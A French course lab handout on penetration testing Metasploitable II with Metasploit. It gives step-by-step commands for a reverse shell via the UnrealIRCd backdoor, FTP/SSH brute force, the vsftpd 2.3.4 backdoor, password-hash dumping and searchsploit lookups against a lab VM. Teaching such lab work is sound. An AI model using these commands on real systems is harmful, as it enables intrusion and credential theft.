Vous êtes sur la page 1sur 28

Techniques de hacking

Support des TPs

Lab2 - Metasploitable II

Objectifs

Partie A
Se familiariser avec les commandes Metasploit en utilisant l’exploit “unreaIRCD“

Partie B
Simuler les 3 phases d’attaque :
1. Scan
2. Exploit
3. Post-exploit
En utilisant l’exploit vs_ftpd_backdoor

Partie C
Utilisation de Searchsploit pour automatiser la recherche et la mise à jour de la base de données MSF

Pré-requis

● Une machine virtuelle Kali


● Une machine virtuelle Metasploitable dédiée à ce type de simulation
● Mise en réseau des deux machines
● Configuration de l’outil Metasploit sur la machine Kali

========================================================================

1
● Importation de la machine Kali-msf

Dans VMWare > File > Open

Sélectionner le fichier Kali-Linux-2021.4-virtualbox-amd64.ova

Accepter la licence

Donner un nom à la machine virtuelle et le chemin de stockage:

2
Si vous avez cette boîte de dialogue, les spécifications de la MV ne sont pas acceptées par VMWare.

Il faut accepter des spécifications moins contraignantes, cliquer sur Retry :

Une fois importée, Éditer les spécifications matérielles :

Mémoire : 8 Go
Espace disque : 60 Go
Deux Cartes réseaux: Une en ‘NAT’ et une deuxième en VMnet0

La carte réseau en VMnet0 sera connectée à la machine Metasploitable

Démarrer la MV Kali-msf: (clavier qwerty)

Login: kali
Mot de passe: kali

Démarrer un terminal

3
Changer le clavier en Azerty
$setxkbmap fr

Configurer l’interface réseau en VMnet0:


$sudo nano /etc/network/interfaces

Ajouter les deux dernières lignes :

Enregistrer et quitter.

Activer l’interface réseau eth1:


$sudo ifup eth1

● Importation de la machine Metasploitable

Dans VMWare > File > Open

4
Sélectionner le fichier Metasploitable-linux.vmx

Une fois importée, Éditer les spécifications matérielles :

Mémoire : 4 Go
Espace disque : 15 Go
Une Carte réseau : en VMnet0

La carte réseau en VMnet0 sera connectée à la machine kali-msf

Remarque importante:

Vérifier que le réseau VMnet0 est correctement configuré:

Dans VMWare > Edit > Virtual Network Editor


Sélectionner VMnet0:

5
Vérifier que la case “Use local DHCP …” est cochée

Démarrer la MV Metasploitable : (clavier qwerty)

Login: msfadmin
Mot de passe: msfadmin

Démarrer un terminal

Changer le clavier
$sudo loadkeys fr

Configurer l’interface réseau en VMnet0:


$sudo nano /etc/network/interfaces

Ajouter/Vérifier les deux dernières lignes :

6
Enregistrer et quitter.

Activer l’interface réseau eth1:


$sudo ifup eth1

Récupérer l’adresse IP
$ip a

● Configuration de l’outil Metasploit

Démarrer la MV Kali-msf: (clavier qwerty)

Login: kali
Mot de passe: kali

Démarrer un terminal

7
Vérifier que vous pouvez envoyer des requêtes “ping” à “Metasploitable”
$ping 192.168.124.128

Vérifier que msfconsole est installé


$which msfconsole

Lancer msfconsole:
$sudo msfconsole

Afficher les options globales

8
Partie A
Effectuer une recherche d’exploit: unrealIRCD

Afficher les informations correspondantes

9
Et les options requises :

Ainsi que la description de l’exploit:

Pour utiliser ce module, il suffit juste d’exécuter l’ordre ci-dessous (en supprimant la partie de
référence exploit/):

msf6 > use unix/irc/unreal_ircd_3281_backdoor

Afficher les options requises :

10
Configurer l’adresse IP de la machine vulnérable <RHOST>:
msf6 > set RHOST 192.168.124.128

Pour info

La réussite des exploits dépend des charges actives ou payloads, ajoutées régulièrement à Metasploit
de la même façon que les modules.
Ces charges déterminent sur quel(s) type(s) de matériel(s) et d’éléments on cible l’attaque.
Pour lister les charges actives disponibles, il suffit d’exécuter la commande suivante :

msf6 > show payloads

11
Parmi la liste des charges actives compatibles listées précédemment, on peut voir une plage d’options
utilisant des Shells.
Les payloads sont divisés en deux catégories :

● Connecté (bind)
● Inversé (reverse)

REMARQUE: l’outil Meterpreter est principalement disponible pour les cibles Microsoft Windows.
Mais, il existe aussi des charges actives permettant d’obtenir une session Meterpreter sous Linux.

Shell connecté
Précise à la machine d’ouvrir un shell de commande et d’écouter sur le port local. L’attaquant se
connecte sur la machine ciblée sur le port d’écoute. Ceci dit, à cause des pare-feu, l’efficacité des
shells connectés a échoué car n’importe quel pare-feu correctement configuré bloque les ports
aléatoires tels que 4444.

Shell inversé
Pousse activement une connexion inversée à destination de l’attaquant plutôt que d’attendre une
connexion entrante. Dans ce cas de figure, sur notre machine d’attaque on ouvre un port local en
écoute d’une connexion de la cible, permettant ainsi de se faufiler plus facilement au travers des
pare-feu.

On choisit le shell reverse suivant :


msf6 > set payload cmd/unix/reverse

ATTENTION: comme dans l’exemple ci-dessus, il s’agit d’un shell inversé, on doit alors préciser la
cible où envoyer le shell. Il faut donc mentionner :

● l’adresse IP de la machine d’attaque


● le port sur lequel on écoute les connexions entrantes

12
msf6 > set LHOST 192.168.124.129

Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via
l’instruction ci-dessous :

msf6 > exploit

Cette dernière commande liste alors les différentes étapes par lesquelles on passe avant d’en arriver à
l’exécution de l’exploit. Cela se termine par une session Meterpreter. Ce dernier est le moyen de
prendre la main et de passer des commandes à distance, à la machine cible afin d’exécuter l’ensemble
des étapes permettant de réaliser notre exploit.

Résultats :

● on tape la commande ls

13
● Les commandes uname, whois, whoami

● La commande ip a

Question

● L’adresse IP correspond à quelle machine ? Pouvez-vous interpréter ceci ?

……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………

Exécuter les commandes suivantes:

ls -l
download spamfilter.conf /home/kali/file.txt

Résultats attendus

Sur la machine victime:

14
Sur la machine Kali :

Partie B

Dans cette partie, nous allons utiliser une base de données pour stocker les résultats de scan de
vulnérabilités. Pour cela, on doit initialiser la base de données:

1. Initialisation de la base de données

#Initialiser la base de données


$sudo msfdb init

15
#Changer d’utilisateur (pas de mot de passe requis)
$sudo su - postgres

#Ouvrir un shell secondaire psql


psql

#Lister les bases de données


\l

#Se connecter à la base de données msf


\c msf

#Quitter le shell psql


\q

16
#Quitter la session de l’utilisateur postgres
exit

#Lancer Metasploit
$sudo msfconsole

#Consulter la base de données connectée


msf6 > db_status

#Lister les commandes relatives à la base de données msf


msf6 > help database

2. Phase de scan

#Créer l’espace de travail ubuntusploitable


msf6 > workspace -a ubuntusploitable

#Vérifier qu’il s’agit du bon workspace par défaut


msf6 > workspace

17
#Lister les commandes disponibles
msf6 > workspace -h

#Lancer le scan des ports 1-65535 de la machine victime (prendra plusieurs minutes)
msf6 > db_nmap -p 1-65535 -sV 192.168.124.128

Pour info
Vous pouvez suivre l’évolution du scan (en %)
Résultat:

#Lister les machines résultats de scan


msf6 > hosts

18
#Consulter les commandes relatives à la table hosts
msf6 > hosts -h

#Consulter les ports/services ouverts


msf6 > services

Pour info

Vous pouvez voir, ci-dessus, les services vulnérables IRC et FTP et leurs versions.

#Consulter les commandes relatives à la table services


msf6 > services -h

#Chercher les scanner par brute force correspondants au service ftp


msf6 > grep ftp search login

#Utiliser le scanner ftp_login

19
msf6 > use auxiliary/scanner/ftp/ftp_login

#Afficher les options requises au scanner ftp_login


msf6 auxiliary(scanner/ftp/ftp_login) > show options

#Déclarer la machine ubuntusploitable comme cible


msf6 auxiliary(scanner/ftp/ftp_login) > hosts -R

#Afficher les options manquantes


msf6 auxiliary(scanner/ftp/ftp_login) > show missing

⇒ La liste est vide


⇒ Toutes les options requises sont configurées

#Ajouter un fichier de mots de passe pour réaliser le scan par brute force
set USERPASS_FILE /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
show options

#exécuter le scan par brute force ⇒ La commande nécessite plusieurs minutes


msf6 auxiliary(scanner/ftp/ftp_login) > run

#Résultats de tentatives d’accès réussies

#Sortir du mode scanner


msf6 auxiliary(scanner/ftp/ftp_login) > back

20
#Afficher les privilèges obtenus
msf6 > creds

#Chercher les scanners correspondants au service ssh pour accès par brute force
msf6 > grep ssh search login

#Utiliser le scanner ssh_login <n° 176 >


msf6 > use auxiliary/scanner/ssh/ssh_login

#Utiliser tous les privilèges obtenus


msf6 auxiliary(scanner/ssh/ssh_login) > set DB_ALL_CREDS true

#Déclarer la machine ubuntumetasploitable comme cible


msf6 auxiliary(scanner/ssh/ssh_login) > hosts -R

#Exécuter le scan
msf6 auxiliary(scanner/ssh/ssh_login) > run
#Résultat attendu : 3 sessions ouvertes

#Sortir du mode scanner


msf6 auxiliary(scanner/ssh/ssh_login) > back

#Afficher les sessions en cours


msf6 > sessions

21
#Lister les sessions inactives
msf6 > sessions -d

#Afficher le résultat des vulnérabilités détectées


msf6 > vulns

Pour aller plus loin!


Consulter le site cve.org et renseignez-vous sur les vulnérabilités détectées en utilisant les références
mentionnées dans l’imprime-écran ci-dessus.

msf6 > Ctrl Z

Pour info
Pour sortir d’une session, il faut la stopper et la mettre en background :
Ctrl Z
ou
background
Pour la quitter :
Ctrl C ou exit

3. Phase d’exploitation

La phase d’exploitation des vulnérabilités du service FTP

#Chercher l’exploit correspondant à la vulnérabilité


msf6 > search vsftpd

22
#Utiliser l’exploit correspondant
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

#Déclarer la machine ubuntusploitable comme cible


msf6 auxiliary(unix/ftp/vsftpd_234_backdoor) > hosts -R

# Lister les charges actives disponibles


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

#Utiliser le payload disponible


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD payload/cmd/unix/interact

#Exécuter l’exploit
msf6 auxiliary(unix/ftp/vsftpd_234_backdoor) > run

#Afficher la vulnérabilité détectée


msf6 > vulns

23
#Lister les privilèges obtenus
msf6 > creds

4. Phase de post exploitation

#Afficher les post disponibles


msf6 > show post

#Utiliser le post enum_configs


msf6 > use linux/gather/enum_configs

#Associer un ID à la session
msf6 post(linux/gather/enum_configs) > set SESSION 1

#exécuter le post-exploit
msf6 post(linux/gather/enum_configs) > run

24
msf6 post(linux/gather/enum_configs) > back
#Lister les informations de configurations récupérées
msf6 > loot

#Utiliser le post de récupération de hash


msf6 > use post/linux/gather/hashdump

# Associer un ID à la session
msf6 post(linux/gather/hashdump) > set session 1

#Exécuter le post-exploit
msf6 post(linux/gather/hashdump) > run

25
#Afficher les sessions en cours
msf6 post(linux/gather/hashdump) > sessions

#Lancer la session 1
msf6 post(linux/gather/hashdump) > sessions -i 1
#passer en sudo
sudo su
#nom d’utilisateur en cours
whoami

Ctrl Z

msf6 post(linux/gather/hashdump) > back


#Afficher les privilèges obtenus
msf6 > creds

#Lister les fichiers de configuration récupérés


sudo ls -l /root/.msf4/loot/

26
msf6 > exit -y

Partie C

● Préparation intrusive

# Mettre à jour les exploits depuis Exploit DataBase (exploitdb) :


$searchsploit -u

# Rechercher des exploits (ex. vsftpd 2.3.4)


$searchsploit -t vsftpd |grep 2.3.4

⇒ Deux exploits trouvés : un script python et un script ruby

#Lancer un scan et stocker le résultat dans un fichier xml


$nmap -sV 192.168.124.128 -oX metasploitable.xml

#Parmi les résultats

27
#Chercher les vulnérabilités relatives au résultat de scan
$searchsploit --nmap metasploitable.xml -v

● Pouvez-vous interpréter le résultat ?

……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………

#Chercher les vulnérabilités relatives au résultat de scan


$searchsploit --nmap metasploitable.xml –www

● Pouvez-vous interpréter le résultat ?

……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
● Quelles différences relevez-vous avec la commande précédente ?

……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………

● Interprétez le résultat de cette commande

……………………………………………………………………………………………………………
……………………………………………………………………………………………………………
……………………………………………………………………………………………………………

===============================

FIN DE L’ATELIER

28

Vous aimerez peut-être aussi